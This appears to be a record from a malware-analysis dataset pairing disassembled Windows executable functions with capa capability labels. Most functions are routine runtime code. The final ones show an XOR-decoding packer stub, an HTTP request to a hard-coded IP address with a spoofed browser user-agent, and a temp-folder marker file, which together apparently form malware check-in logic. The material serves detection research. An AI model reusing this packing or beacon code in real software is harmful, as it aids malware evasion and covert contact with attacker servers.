joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1014644
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ecx + 8], 0
jne 0x1014655
xor al, al
pop ebp
ret 4
pop ebp
jmp fcn.01014524

Function at 0x1014660
Capabilities:
Get token privileges

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 4]
push eax
push 0x28
xor edi, edi
push 0xffffffffffffffff
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10146b3
test byte [0x102407c], 0x10
je 0x10147c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1002310
push 0xa
push dword [0x1024074]
push dword [0x1024070]
call fcn.01003493
jmp 0x10147c9
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 8]
push eax
push edi
push edi
push 3
push dword [ebp - 4]
call esi
test eax, eax
je 0x10146f5
test byte [0x102407c], 0x10
je 0x10147c8
push 0x1002310
push 0xb
push dword [0x1024074]
push dword [0x1024070]
call fcn.0100335b
jmp 0x10147c8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x7a
je 0x1014730
test byte [0x102407c], 0x10
je 0x10147c7
call ebx
push eax
push 0x1002310
push 0xc
push dword [0x1024074]
push dword [0x1024070]
call fcn.01003493
jmp 0x10147c7
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x1014756
test byte [0x102407c], 0x10
je 0x10147c7
call ebx
push eax
push 0x1002310
push 0xd
jmp 0x101471a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push dword [ebp - 4]
call esi
test eax, eax
jne 0x101478c
test byte [0x102407c], 0x10
je 0x10147c7
push 0x1002310
push 0xe
push dword [0x1024074]
push dword [0x1024070]
call fcn.0100335b
jmp 0x10147c7
xor ebx, ebx
cmp dword [edi], ebx
jbe 0x10147c7
lea esi, [edi + 4]
test byte [0x102407c], 0x10
je 0x10147bf
push dword [esi + 8]
push dword [esi]
push dword [esi + 4]
push ebx
push 0x1002310
push 0xf
push dword [0x1024074]
push dword [0x1024070]
call fcn.01003414
inc ebx
add esi, 0xc
cmp ebx, dword [edi]
jb 0x1014795
pop ebx
pop esi
cmp dword [ebp - 4], 0
je 0x10147dc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 4], 0
test edi, edi
je 0x10147e7
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
leave
ret
Function at 0x1019bbc
Capabilities:
Parse pe header

Disassembly:
push 0x60
push 0x1002490
call fcn.0101bbe0
mov edi, 0x94
mov eax, edi
call fcn.0101a9d0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x1025104], ecx
mov eax, dword [esi + 4]
mov dword [0x1025110], eax
mov edx, dword [esi + 8]
mov dword [0x1025114], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x1025108], esi
cmp ecx, 2
je 0x1019c1c
or esi, 0x8000
mov dword [0x1025108], esi
shl eax, 8
add eax, edx
mov dword [0x102510c], eax
cmp word [0x1000000], 0x5a4d
jne 0x1019c59
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1019c59
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1019c72
cmp ecx, 0x20b
je 0x1019c5f
and dword [ebp - 0x1c], 0
jmp 0x1019c89
cmp dword [eax + 0x1000084], 0xe
jbe 0x1019c59
xor ecx, ecx
cmp dword [eax + 0x10000f8], ecx
jmp 0x1019c83
cmp dword [eax + 0x1000074], 0xe
jbe 0x1019c59
xor ecx, ecx
cmp dword [eax + 0x10000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
push 1
call fcn.0101bb83
pop ecx
test eax, eax
jne 0x1019c9d
push 0x1c
call fcn.01019b8e
pop ecx
call fcn.0101baf5
test eax, eax
jne 0x1019cae
push 0x10
call fcn.01019b8e
pop ecx
and dword [ebp - 4], 0
call fcn.0101b83f
test eax, eax
jge 0x1019cc3
push 0x1b
call fcn.01019b5f
pop ecx
call fcn.0101b78f
mov dword [0x1026a30], eax
call fcn.0101b5f0
mov dword [0x10250f0], eax
call fcn.0101b553
test eax, eax
jge 0x1019ce8
push 8
call fcn.01019b5f
pop ecx
call fcn.0101b312
test eax, eax
jge 0x1019cf9
push 9
call fcn.01019b5f
pop ecx
call fcn.0101adcb
mov dword [ebp - 0x28], eax
test eax, eax
je 0x1019d0c
push eax
call fcn.01019b5f
pop ecx
and dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call fcn.0101b2b9
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x1019d2e
movzx eax, word [ebp - 0x40]
jmp 0x1019d31
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push 0
push 0x1000000
call fcn.0100c015
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x1c], 0
jne 0x1019d52
push esi
call fcn.0101aebc
call fcn.0101aef4
jmp 0x1019d84
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x7c]
call fcn.0101bc1b
ret
Function at 0x101af23
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x102416c]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x1024198]
je 0x101af4d
inc eax
cmp eax, 0x12
jb 0x101af3e
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x1024198]
mov dword [ebp - 0x110], esi
jne 0x101b0f8
mov eax, dword [0x10250f4]
cmp eax, 1
je 0x101b0c6
test eax, eax
jne 0x101af83
cmp dword [0x1024174], 1
je 0x101b0c6
cmp ecx, 0xfc
je 0x101b0f8
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x101afbe
push 5
pop ecx
mov esi, 0x1002834
lea edi, [ebp - 0x10c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea ebx, [ebp - 0x10c]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x101afc9
sub eax, edx
inc eax
cmp eax, 0x3c
jbe 0x101b001
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x101afe1
sub eax, edx
push 3
lea ebx, [ebp + eax - 0x147]
push 0x1002830
push ebx
call fcn.0101a570
add esp, 0xc
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x101b006
sub eax, edx
mov ecx, eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 0x102419c]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x101b020
sub eax, esi
lea eax, [eax + ecx + 0x1c]
add eax, 3
and eax, 0xfffffffc
call fcn.0101a9d0
mov edx, esp
push 6
pop ecx
mov esi, 0x1002814
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsw word es:[edi], word [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x101b04c
mov edi, edx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x101b058
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x101b071
mov eax, dword [ebp - 0x110]
mov esi, 0x1002810
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [eax + 0x102419c]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x101b08f
mov edi, edx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x101b09b
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x12010
mov ecx, eax
and ecx, 3
push 0x10027e8
push edx
rep movsb byte es:[edi], byte [esi]
call fcn.0101e1ea
add esp, 0xc
jmp 0x101b0f8
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
test eax, eax
je 0x101b0f8
mov esi, dword [esi + 0x102419c]
mov ecx, esi
lea edx, [ecx + 1]
mov bl, byte [ecx]
inc ecx
test bl, bl
jne 0x101b0dd
push 0
sub ecx, edx
lea edx, [ebp - 0x114]
push edx
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x120]
mov ecx, dword [ebp - 4]
call fcn.01019a47
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101b5f0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x102535c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push edi
xor ebx, ebx
cmp eax, ebx
push 2
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
pop edi
jne 0x101b643
call esi
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x101b62a
mov dword [0x102535c], 1
jmp 0x101b648
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x101b63e
mov eax, edi
mov dword [0x102535c], eax
jmp 0x101b643
mov eax, dword [0x102535c]
cmp eax, 1
jne 0x101b6af
cmp dword [ebp - 4], ebx
jne 0x101b65d
call esi
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x101b65d
xor eax, eax
jmp 0x101b76e
mov ecx, dword [ebp - 4]
cmp word [ecx], bx
mov eax, ecx
je 0x101b675
add eax, edi
cmp word [eax], bx
jne 0x101b667
add eax, edi
cmp word [eax], bx
jne 0x101b667
sub eax, ecx
add eax, edi
mov esi, eax
push esi
call fcn.0101a762
cmp eax, ebx
pop ecx
jne 0x101b696
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
jmp 0x101b76e
mov ecx, esi
mov esi, dword [ebp - 4]
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ebx, eax
jmp 0x101b686
cmp eax, edi
je 0x101b6b7
cmp eax, ebx
jne 0x101b656
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 4], esi
je 0x101b656
cmp byte [esi], bl
je 0x101b6fc
push ebx
push ebx
push 0xffffffffffffffff
push esi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, ebx
je 0x101b656
add dword [ebp - 8], eax
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x101b6e8
sub eax, edi
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x101b6ca
mov esi, dword [ebp - 4]
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, eax
push eax
call fcn.0101a762
cmp eax, ebx
pop ecx
mov dword [ebp - 0xc], eax
jne 0x101b715
push esi
jmp 0x101b77f
mov edi, esi
mov esi, eax
mov eax, dword [ebp - 4]
cmp byte [eax], bl
je 0x101b75f
mov ecx, dword [ebp - 8]
mov eax, esi
sub eax, dword [ebp - 0xc]
sar eax, 1
sub ecx, eax
push ecx
push esi
push 0xffffffffffffffff
push edi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x101b773
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x101b743
sub eax, edx
push esi
lea edi, [edi + eax + 1]
call fcn.01019d98
cmp byte [edi], bl
pop ecx
lea esi, [esi + eax*2 + 2]
jne 0x101b720
push dword [ebp - 4]
mov word [esi], bx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 0xc]
call fcn.0101a77e
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x101b656
Function at 0x101b78f
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x1025360]
test eax, eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jne 0x101b7d3
call esi
test eax, eax
je 0x101b7b8
mov dword [0x1025360], 1
jmp 0x101b7d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x101b7cf
mov dword [0x1025360], 2
jmp 0x101b7e1
xor eax, eax
jmp 0x101b837
cmp eax, 1
jne 0x101b7dc
call esi
jmp 0x101b837
cmp eax, 2
jne 0x101b7cf
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push eax
push 1
push 0
mov dword [ebp - 8], eax
call esi
mov edi, eax
test edi, edi
je 0x101b834
lea eax, [edi + edi]
push eax
call fcn.0101a762
test eax, eax
pop ecx
mov dword [ebp - 4], eax
je 0x101b834
push edi
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
push 1
push 0
call esi
test eax, eax
je 0x101b82b
mov eax, dword [ebp - 4]
jmp 0x101b836
push dword [ebp - 4]
call fcn.0101a77e
pop ecx
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x101ba82
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [0x10242d4]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x101bae4
push 0x88
push 1
call fcn.0101e3b8
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x101badc
push esi
push dword [0x10242d4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x101badc
push esi
call fcn.0101ba65
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x101bae4
push 0x10
call fcn.01019b5f
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
ret

Function at 0x101baf5
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
call fcn.0101bf7e
test eax, eax
je 0x101bb0e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x10242d4], eax
jne 0x101bb16
call fcn.0101ba42
xor eax, eax
ret
push esi
push 0x88
push 1
call fcn.0101e3b8
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x101bb56
push esi
push dword [0x10242d4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x101bb56
push esi
call fcn.0101ba65
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
xor eax, eax
inc eax
pop esi
ret
call fcn.0101ba42
xor eax, eax
pop esi
ret
Function at 0x101e1ea
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x10254cc], ebx
push esi
push edi
jne 0x101e26c
push 0x1002a7c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x101e2a7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002a70
push edi
call esi
test eax, eax
mov dword [0x10254cc], eax
je 0x101e2a7
push 0x1002a60
push edi
call esi
push 0x1002a4c
push edi
mov dword [0x10254d0], eax
call esi
cmp dword [0x1025104], 2
mov dword [0x10254d4], eax
jne 0x101e26c
push 0x1002a30
push edi
call esi
test eax, eax
mov dword [0x10254dc], eax
je 0x101e26c
push 0x1002a18
push edi
call esi
mov dword [0x10254d8], eax
mov eax, dword [0x10254d8]
test eax, eax
je 0x101e2b1
call eax
test eax, eax
je 0x101e298
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x10254dc]
test eax, eax
je 0x101e298
test byte [ebp - 8], 1
jne 0x101e2b1
cmp dword [0x1025110], 4
jb 0x101e2ab
or byte [ebp + 0x12], 0x20
jmp 0x101e2d0
xor eax, eax
jmp 0x101e2e0
or byte [ebp + 0x12], 4
jmp 0x101e2d0
mov eax, dword [0x10254d0]
test eax, eax
je 0x101e2d0
call eax
mov ebx, eax
test ebx, ebx
je 0x101e2d0
mov eax, dword [0x10254d4]
test eax, eax
je 0x101e2d0
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x10254cc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101eac6
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x101eaf7
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x101eafe
cmp ebx, dword [ebp + 8]
jae 0x101eafe
xor eax, eax
jmp 0x101ecee
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x101eb0f
xor eax, eax
inc eax
jmp 0x101eced
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x101eb25
cmp ecx, edx
jae 0x101ec6a
cmp dword [eax + 4], 0
je 0x101eb2e
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x101eb16
cmp dword [ebp + 8], 0
je 0x101eb50
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x101ec6a
cmp eax, esi
jae 0x101ec6a
mov eax, dword [0x10254e8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x101eb75
cmp dword [esi*4 + 0x10254f0], edi
je 0x101ec6e
inc esi
cmp esi, eax
jl 0x101eb63
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x101ecea
cmp dword [ebp - 8], 0x1000000
jne 0x101ecea
test byte [ebp - 0xc], 0xcc
je 0x101ebf3
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x101ecea
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x101ecea
cmp word [eax + 0x18], 0x10b
jne 0x101ecea
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x101ecea
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x101ebf3
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x101ebf3
test byte [ecx + 0x27], 0x80
jne 0x101ec6a
push 1
push 0x1025530
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x101eb07
mov ecx, dword [0x10254e8]
test ecx, ecx
mov edx, ecx
jle 0x101ec27
lea eax, [ecx*4 + 0x10254ec]
cmp dword [eax], edi
je 0x101ec27
dec edx
sub eax, 4
test edx, edx
jg 0x101ec1b
test edx, edx
jne 0x101ec58
push 0xf
pop ebx
cmp ecx, ebx
jg 0x101ec34
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x101ec4c
lea eax, [edx*4 + 0x10254f0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x101ec3a
cmp ecx, 0x10
jge 0x101ec58
inc ecx
mov dword [0x10254e8], ecx
push 0
push 0x1025530
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x101eb07
xor eax, eax
jmp 0x101eced
test esi, esi
jle 0x101eb07
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x1025530
call ebx
test eax, eax
jne 0x101eb07
cmp dword [esi*4 + 0x10254f0], edi
je 0x101ecc4
mov eax, dword [0x10254e8]
lea esi, [eax - 1]
test esi, esi
jl 0x101ecb2
cmp dword [esi*4 + 0x10254f0], edi
je 0x101ecae
dec esi
jns 0x101eca2
test esi, esi
jge 0x101ecc2
cmp eax, 0x10
jge 0x101ecbd
inc eax
mov dword [0x10254e8], eax
lea esi, [eax - 1]
jmp 0x101ecc4
je 0x101ecdc
xor ecx, ecx
test esi, esi
jl 0x101ecdc
lea eax, [ecx*4 + 0x10254f0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x101ecca
push 0
push 0x1025530
call ebx
jmp 0x101eb07
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101f7c1
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 4
pop eax
call fcn.0101a9d0
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x101f827
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x1025104]
mov esi, dword [ebp - 0x40]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
lea edx, [esi - 1]
and ecx, 0x103
not edx
and edx, ebx
inc ecx
sub edx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffff1
add eax, 0x11
imul eax, esi
add eax, edi
cmp edx, eax
jae 0x101f82b
xor eax, eax
jmp 0x101f838
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x50]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10202f4
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x102416c]
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 0x420], edi
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x41c], ecx
jne 0x102032b
xor eax, eax
jmp 0x10204de
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x1026920]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x1020360
push 2
push ecx
push ecx
push dword [ebp + 8]
call fcn.010216f5
add esp, 0x10
xor ecx, ecx
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x102042e
cmp dword [ebp + 0x10], ecx
mov dword [ebp - 0x414], edi
mov dword [ebp - 0x40c], ecx
jbe 0x10204ac
jmp 0x1020387
xor ecx, ecx
mov dword [ebp - 0x410], ecx
mov ecx, dword [ebp - 0x414]
sub ecx, dword [ebp - 0x420]
lea eax, [ebp - 0x408]
cmp ecx, dword [ebp + 0x10]
jae 0x10203dd
mov edx, dword [ebp - 0x414]
inc dword [ebp - 0x414]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x10203c8
inc dword [ebp - 0x41c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x410]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x410]
cmp dword [ebp - 0x410], 0x400
jl 0x102039f
mov edi, eax
lea eax, [ebp - 0x408]
sub edi, eax
push 0
lea eax, [ebp - 0x424]
push eax
push edi
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x102045b
mov eax, dword [ebp - 0x424]
add dword [ebp - 0x418], eax
cmp eax, edi
jl 0x1020467
mov eax, dword [ebp - 0x414]
sub eax, dword [ebp - 0x420]
cmp eax, dword [ebp + 0x10]
jb 0x1020385
jmp 0x1020467
push ecx
lea ecx, [ebp - 0x424]
push ecx
push dword [ebp + 0x10]
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x102045b
mov eax, dword [ebp - 0x424]
and dword [ebp - 0x40c], 0
mov dword [ebp - 0x418], eax
jmp 0x1020467
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x418]
test eax, eax
jne 0x10204d6
cmp dword [ebp - 0x40c], eax
je 0x10204a6
push 5
pop esi
cmp dword [ebp - 0x40c], esi
jne 0x1020498
call fcn.0101f4ef
mov dword [eax], 9
call fcn.0101f4fd
mov dword [eax], esi
jmp 0x10204d1
push dword [ebp - 0x40c]
call fcn.0101f50b
pop ecx
jmp 0x10204d1
mov edi, dword [ebp - 0x420]
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x10204be
cmp byte [edi], 0x1a
jne 0x10204be
xor eax, eax
jmp 0x10204dc
call fcn.0101f4ef
mov dword [eax], 0x1c
call fcn.0101f4fd
and dword [eax], 0
or eax, 0xffffffff
jmp 0x10204dc
sub eax, dword [ebp - 0x41c]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
pop edi
call fcn.01019a47
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3fce7302
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x34492602
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_GETSTTBRO
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._sx5858585x.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret